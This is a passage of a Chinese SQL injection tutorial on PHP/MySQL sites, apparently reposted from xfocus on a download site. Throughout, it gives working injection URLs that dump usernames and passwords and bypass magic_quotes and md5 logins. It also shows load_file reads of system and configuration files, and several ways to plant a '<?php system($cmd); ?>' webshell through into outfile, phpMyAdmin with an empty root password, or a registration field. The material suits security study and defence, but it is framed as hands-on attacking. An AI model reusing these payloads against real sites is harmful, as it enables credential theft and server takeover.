⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 781.html

📁 里面收集的是发表在www.xfocus.org上的文章
💻 HTML
📖 第 1 页 / 共 4 页
字号:
看看,我们又得到我们想要的了<br />
用户名alpha<br />
密码一长串。<br />
为什么我们要把password放在3字段处,把username放在5字段处了,我们上面已经提过了哦,就是我们猜测3和5段显示的应该是字符串型,而与我们要显示的username和password的字段类型应该相同,所以我们这样放了哦。<br />
为什么要用18个字段呢?不知道大家还是否记得在union select介绍那里我们提到union必须要求前后select的字段数相同,我们可以通过增加select的个数来猜测到需要18个字段,只有这样union select的内容才会正常显示哦!<br />
3)其它如资料修改,用户注册的地方主要得有用户等级的应用。<br />
我们在上面讲述update和insert的时候都已经讲到,因为不是很常用,这里就不再阐述,在下面将会提到一些关于update和insert的高级利用技巧。<br />
二:下面将要进入magic_quotes_gpc=On时候的注入攻击教学环节了<br />
&nbsp;&nbsp;&nbsp;&nbsp;当magic_quotes_gpc=On的时候,交的变量中所有的 &#39; (单引号), <br />
“ (双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符。<br />
&nbsp;&nbsp;&nbsp;&nbsp;这就使字符型注入的方法化为泡影,这时候我们就只能注入数字型且没有<br />
Intval()处理的情况了,数字型的我们已经讲了很多了是吧,由于数字型没有用到单引号自然就没有绕过的问题了,对于这种情况我们直接注入就可以了。<br />
1)假如是字符型的就必须得像下面这个样子,没有在字符上加引号 。<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
这里我们要用到一些字符串处理函数先,<br />
字符串处理函数有很多,这里我们主要讲下面的几个,具体可以参照mysql中文参考手册7.4.10。<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;char() 将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。<br />
当然你也可以用字符的16进制来代替字符,这样也可以的,方法就是在16进制前面加0x,看下面的例子就明白了。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php<br />
&nbsp;&nbsp;&nbsp;&nbsp;//login.php<br />
&nbsp;&nbsp;&nbsp;&nbsp;……<br />
$query=&quot;select * from &quot;.$art_system_db_table[&#39;user&#39;].&quot; <br />
where UserName=$username and Password=&#39;&quot;.$Pw.&quot;&#39;&quot;;<br />
……<br />
?&gt;<br />
<br />
假设我们知道后台的用户名是alpha<br />
转化成ASCII后是char(97,108,112,104,97)<br />
转化成16进制是0x616C706861<br />
(我们将在光盘中提供16进制和ascii转换工具)<br />
好了直接在浏览器里输入:<br />
<br />
<a href='http://localhost/site/admin/login.php?username=char' target='_blank'>http://localhost/site/admin/login.php?username=char</a>(97,108,112,104,97)%23<br />
sql语句变成:<br />
<br />
select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password=&#39;&#39;<br />
如图21<br />
 <br />
&nbsp;&nbsp;&nbsp;&nbsp;正如我们期望的那样,他顺利执行了,我们得到我们想要的。<br />
&nbsp;&nbsp;&nbsp;&nbsp;当然咯,我们也可以这样构造<br />
<a href='http://localhost/site/admin/login.php?username=0x616C706861%23' target='_blank'>http://localhost/site/admin/login.php?username=0x616C706861%23</a><br />
sql语句变成:<br />
select * from alphaAuthor where UserName=0x616C706861%23# and Password=&#39;&#39;<br />
我们再一次是成功者了。很有成就感吧,<br />
<br />
或许你会问我们是否可以把#也放在char()里<br />
实际上char(97,108,112,104,97)相当于’alpha’ <br />
注意是alpha上加引号,表示alpha字符串。<br />
我们知道在mysql中如果执行<br />
<br />
mysql&gt; select * from dl_users where username=alpha;<br />
ERROR 1054 (42S22): Unknown column &#39;alpha&#39; in &#39;where clause&#39;<br />
看返回错误了。因为他会认为alpha是一个变量。所以我们得在alpha上加引号。<br />
如下<br />
mysql&gt; select * from dl_users where username=&#39;alpha&#39;;<br />
这样才是正确的。<br />
如果你把#号也放到那里去了,就成了’alpha#’<br />
带入sql语句中<br />
select * from dl_users where username=&#39;alpha#&#39;;<br />
当然是什么也没有了,因为连alpha#这个用户都没有。<br />
好,下面我们再来看个例子,<br />
<br />
&lt;?php<br />
&nbsp;&nbsp;&nbsp;&nbsp;//display.php <br />
&nbsp;&nbsp;&nbsp;&nbsp;……<br />
$query=&quot;select * from &quot;.$art_system_db_table[&#39;article&#39;].&quot; <br />
where type=$type;<br />
……<br />
?&gt;<br />
<br />
代码根据类型来显示内容,$type没有任何过滤,且没有加引号放入程序中。<br />
假设type中含有xiaohua类,xiaohua的char()转换后是<br />
char(120,105,97,111,104,117,97)<br />
<br />
我们构建<br />
<a href='http://localhost/display.php?type=char' target='_blank'>http://localhost/display.php?type=char</a>(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor<br />
带入sql语句中为:<br />
select * from &quot;.$art_system_db_table[&#39;article&#39;].&quot; <br />
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor<br />
看看,我们的用户名和密码照样出来了哦!没有截图,想像一下咯:P<br />
<br />
2)&nbsp;&nbsp;&nbsp;&nbsp;或许有人会问,在magic_quotes_gpc=On的情况下功能强大的load_file()还能不能用呢?<br />
这正是我们下面要将的问题了,load_file()的使用格式是load_file(‘文件路径’)<br />
我们发现只要把‘文件路径’转化成char()就可以了。试试看哦<br />
load_file(‘c:/boot.ini’)转化成<br />
load_file(char(99,58,47,98,111,111,116,46,105,110,105))<br />
图22<br />
 <br />
&nbsp;&nbsp;&nbsp;&nbsp;放到具体注入里就是<br />
<a href='http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load_file' target='_blank'>http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load_file</a>(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18<br />
看图23<br />
 <br />
&nbsp;&nbsp;&nbsp;&nbsp;看看,我们看到了boot.ini的内容了哦。<br />
很可惜的是into outfile’’ 不能绕过,不然就更爽了。但是还是有一个地方可以使用select * from table into outfile’’ 那就是….(先卖个关子,下面会告诉你)<br />
三:一些注入技巧,很多都是个人发现哦<br />
1.union select的技巧<br />
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。<br />
然而有我们可以用下面的方法来猜测列的类型,可是省去很多时间<br />
我们先<br />
<a href='http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18' target='_blank'>http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18</a><br />
图24<br />
 <br />
看看软件描述里写着3,作者里写着4,我们就可以猜测3和4的位置是字符型的,我们再看14前面的是下载次数,这就应该是int型的了,对吧。<br />
好了,我们根据这里来构建吧,估计username和password也是字符型的。<br />
试试看哦<br />
<a href='http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users' target='_blank'>http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users</a><br />
如图25<br />
 <br />
哈哈,这种方法只要看看就可以大概猜到了。<br />
2.load_file读写文件的技巧<br />
不知道你有没有发现过在我们用load_file()读写php文件时不能在网页中显示。例如:<br />
&#39;C:/apache/htdocs/site/lib/sql.inc.php&#39;转化为16进制为:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870<br />
我们构造如下<br />
<a href='http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file' target='_blank'>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file</a>(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11<br />
如图26<br />
 <br />
发现在文章内容的地方本来该显示sql.inc.php的,可是却空空之,为何呢?<br />
我们看看网页的源代码先<br />
图27<br />
 <br />
哈哈,看看标记的地方,晕死,原来在这里啊,可是为什么哩?<br />
原来html中&lt; &gt;用于标注,哈哈,明白了吧!下次可得记得在哪里找哦。<br />
4.&nbsp;&nbsp;&nbsp;&nbsp;md5的恶梦<br />
山东大学的王博士最近可是搞md5搞的红透了,我们也来搞一搞吧,我们比他更爽,不用计算,哈哈。<br />
md5我们是有办法绕过的,但是并不是哪里都可以,php中的md5函数就不能绕过,因为你输入的所有东西都在里面,根本跑不出。可以绕过的是sql语句中的md5。当然别的sql中的函数也是可以绕过的,道理相同哦。<br />
看例子先:<br />
&lt;?php<br />
//login.php<br />
……<br />
$query=&quot;select * from alphaauthor where UserName=md5($username) and Password=&#39;&quot;.$Pw.&quot;&#39;&quot;;<br />
……<br />
?&gt;<br />
我们直接在浏览器提交<br />
<a href='http://localhost/admin/login.php?username=char' target='_blank'>http://localhost/admin/login.php?username=char</a>(97,98)) or 1=1 %23<br />
带入sql语句成为select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password=&#39;&quot;.$Pw.&quot;&#39;<br />
记得md5里面放的是字符,因为后面有or 1=2,所以我们随便放了个char(97,98).&nbsp;&nbsp;&nbsp;&nbsp;Ok,登陆成功了哦!看看,md5在我们面前也没有什么用处。<br />
5.&nbsp;&nbsp;&nbsp;&nbsp;核心技术,利用php+mysql注入漏洞直接写入webshell。。<br />
直接利用注入得到webshell,这应该是大家都很想的吧,下面就教给你。<br />
这里假设你已经知道了网站所在的物理路径,我这里假设网站路径为c:/apache/htdocs/site。网站的mysql连接信息放在/lib/sql.inc.php里<br />
1)适用于magic_quotes_gpc=Off<br />
假设我们可以上传图片,或者txt,zip,等其它东西,我们把我们的木马改成<br />
jpg后缀的,上传后路径为/upload/2004091201.jpg<br />
2004091201.jpg中的内容为 &lt;?php system($cmd); ?&gt;<br />
好,我们开始<a href='http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file' target='_blank'>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file</a>(&#39;C:/apache/htdocs/site/upload/2004091201.jpg&#39;),4,5,6,7,8,9,10,11%20into%20outfile&#39;C:/apache/htdocs/site/shell.php&#39;<br />
因为适用了outfile,所以网页显示不正常,但是我们的任务是完成了。<br />
如图28<br />
 我们赶快去看看<a href='http://localhost/site/shell.php?cmd=dir' target='_blank'>http://localhost/site/shell.php?cmd=dir</a><br />
如图29<br />
 <br />
爽否?Webshell我们已经创建成功了。看到最前面的12了没?那就是我们select 1,2所输出的!<br />
2)下面再讲一个适用于magic_quotes_gpc=On的时候保存webshell的方法哦,显然肯定也能用在于magic_quotes_gpc=Off的时候啦。<br />
我们直接读他的配置文件,用技巧2介绍的方法<br />
<a href='http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file' target='_blank'>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file</a>(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11<br />
得到sql.inc.php内容为<br />
&lt;?$connect=@mysql_connect(&quot;localhost&quot;,&quot;root&quot;,&quot;&quot;) or&nbsp;&nbsp;die(&quot;Unable&nbsp;&nbsp;to&nbsp;&nbsp;connect&nbsp;&nbsp;to&nbsp;&nbsp;SQL&nbsp;&nbsp;server&quot;);mysql_select_db(&quot;alpha&quot;,$connect) or&nbsp;&nbsp;die(&quot;Unable&nbsp;&nbsp;to&nbsp;&nbsp;select&nbsp;&nbsp;database&quot;);?&gt;<br />
好了我们知道了mysql的root密码了,我们找到phpmyadmin的后台<br />
<a href='http://localhost/phpmyadmin/' target='_blank'>http://localhost/phpmyadmin/</a><br />
用root密码为空登陆。<br />
如图30<br />
 然后我们新建立一个表结构内容如下:<br />
<br />
#<br />
# 数据表的结构 `te`<br />
#<br />
CREATE TABLE te (<br />
&nbsp;&nbsp;cmd text NOT NULL<br />
) ENGINE=MyISAM DEFAULT CHARSET=latin1;<br />
<br />
#<br />
# 导出下面的数据库内容 `te`<br />
#<br />
INSERT INTO te VALUES (&#39;&lt;?php system($cmd); ?&gt;&#39;);<br />
Ok,是我们用select * from table into outfile’’的时候了<br />
直接在phpmyadmin的sql输入<br />
SELECT * FROM `te` into outfile &#39;C:/apache/htdocs/site/cmd1.php&#39;;<br />
如图31<br />
 <br />
Ok,成功执行,我们去<a href='http://localhost/site/cmd1.php?cmd=dir' target='_blank'>http://localhost/site/cmd1.php?cmd=dir</a>看看效果去<br />
如图32<br />
 <br />
好爽的一个webshell是吧!哈哈,我也很喜欢。<br />
不过不知道大家有没有发现我们是在magic_quotes_gpc=On的情况下完成这项工作的,竟然在phpmyadmin里可以不用考虑引号的限制,哈哈,说明什么?说明phpmyadmin太伟大了,这也就是我们在谈magic_quotes_gpc=On绕过时所卖的那个关子啦!<br />
6.发现没有我们还可以利用update和insert来插入我们的数据,然后来得到我们的webshell哦,还用上面的那个例子,<br />
&lt;?php<br />
//reg.php<br />
……<br />
$query = &quot;INSERT INTO members <br />
VALUES(&#39;$id&#39;,&#39;$login&#39;,&#39;$pass&#39;,&#39;$email&#39;,’2&#39;)&quot; ;<br />
……<br />
?&gt;<br />
我们在email的地方输入&lt;?php system($cmd); ?&gt;<br />
假设我们注册后的id为10<br />
那么我们可以再找到一个可以注入的地方<br />
<a href='http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20' target='_blank'>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20</a> into%20outfile&#39;C:/apache/htdocs/site/test.php&#39;<br />
好了,我们又有了我们的wenshell了哦。<br />
7.mysql的跨库查询<br />
大家是不是一直听说mysql不能跨库查询啊,哈哈,今天我将要教大家一个好方法,通过这个方法来实现变相的跨库查询,方法就是通过load_file来直接读出mysql中data文件夹下的文件内容,从而实现变态跨库查询。<br />
举个例子啦<br />
在这之前我们先讲一下mysql的data文件夹下的结构<br />
Data文件夹下有按数据库名生成的文件夹,文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件,例如<br />
Mysql中有alpha数据库,在alpha库中有alphaauthor和alphadb两个表,<br />
Alpha文件夹内容如下图33<br />
 <br />
其中alphadb.frm放着lphadb表中的数据,alphadb.frm放着表的结构,alphadb.myi中放的内容随mysql的版本不通会有所不同,具体可以自己用记事本打开来判断。<br />
实验开始<br />
假设我们知道有另外的一个数据库yminfo210存在,且存在表user,user中放这admin的信息。<br />
我们<br />
<a href='http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file' target='_blank'>http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file</a>(&#39;yminfo210/user.myd&#39;),4,5,6,7,8,9,10,11<br />
说明一下,load_file默认所在的目录是mysql下的data目录,所以我们用<br />
load_file(&#39;yminfo210/user.myd&#39;),当然load_file(&#39;.info210/user.myd&#39;)也是一样的,注意的是into outfile的默认路径是在所在的数据库文件夹下。<br />
<br />
结果如图34 <br />
 <br />
我们看读出来的内容<br />
 舼

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -